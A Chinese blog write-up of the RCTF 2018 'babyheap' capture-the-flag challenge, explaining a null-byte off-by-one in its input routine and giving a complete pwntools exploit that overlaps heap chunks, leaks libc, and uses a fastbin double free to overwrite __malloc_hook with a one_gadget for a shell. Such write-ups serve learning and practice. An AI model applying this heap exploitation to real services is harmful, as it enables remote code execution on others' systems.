rctf2018 babyheap

在准备考研复习前再好好学下pwn,好像几个月没认真弄过啦,一堆事,唉

分析

函数在读入数据的时候存在 null off by one

1
2
3
4
5
6
7
8
9
10
11
12
v5 = __readfsqword(0x28u);
for ( i = 0; i < a2; ++i )
{
buf = 0;
if ( read(0, &buf, 1uLL) < 0 )
fprintf_error((__int64)"read() error");
*(_BYTE *)(a1 + i) = buf;
if ( buf == 10 )
break;
}
*(_BYTE *)(i + a1) = 0;
return __readfsqword(0x28u) ^ v5;

利用方法

如下图构造堆,free13, 之后重新分配 3 ,并且使 chunk 4prev size 位为前三个chunk 的大小的和, null off by one 使
覆盖chunk 4inuse位,造成chunkoverlapping,泄漏libc基址,之后使用 fastbin double free使得 malloc_hook被赋值为 one_gadget的地址,发现做完后最坑的是四个 gadget没有一个符合上下文,懵逼,最后师傅告诉我可以通过瞎 free,然后导致abort,最后getshell

1
2
3
4
5
6
7
8
9
+-----------+
| 1 | small bin 128
+-----------+
| 2 | fastbin 96
+-----------+
| 3 | fastbin 96
+-----------+
| 4 | smallbin 240
+-----------+

下面是利用程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
context.log_level = 'debug'
def alloc(p, size, content):
p.recvuntil("choice: ")
p.sendline("1")
p.recvuntil("size: ")
p.sendline(size)
p.recvuntil("content: ")
p.sendline(content)
def show(p, index):
p.recvuntil("choice: ")
p.sendline("2")
p.recvuntil("index: ")
p.sendline(index)
return p.recv()
def delete(p, index):
p.recvuntil("choice: ")
p.sendline("3")
p.recvuntil("index: ")
p.sendline(index)
def exploit(p):
alloc(p, '128', 'A') #0
alloc(p, '96', 'A') #1
alloc(p, '96', 'B') #2
alloc(p, '240', 'C') #3
alloc(p, '32', 'C') #4
delete(p, '0') #-0
delete(p, '2') #-2
payload = 'A'*0x60 + p64(0x170)
alloc(p, '104', payload) #0
delete(p, '3') #-3
alloc(p, '128', 'A'*0x80) #2
data = show(p, '1')
top_chunk = u64(data.split(": ")[1][:6].ljust(8,'\x00'))
libc_base = top_chunk - 0x3c4b78
malloc_hook = libc_base + 0x3c4b10
log.info("top chunk addr 0x%0x", top_chunk)
one_gadget = libc_base + 0xf02a4
p.sendline("3")
p.recvuntil("index: ")
p.sendline("0")
payload = 'A'*0x60 + p64(0) + p64(0x71) +p64(malloc_hook - 0x13)
alloc(p, '128', payload)
alloc(p, '96', 'A')
#pause()
alloc(p, '96', "A"*3 + p64(one_gadget))
delete(p, '1')
p.interactive()
if __name__ == '__main__':
if len(sys.argv) > 1:
p = remote("babyheap.2018.teamrois.cn", 3154)
else:
p = process('./babyheap')
exploit(p)

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 分析
  2. 2. 利用方法
,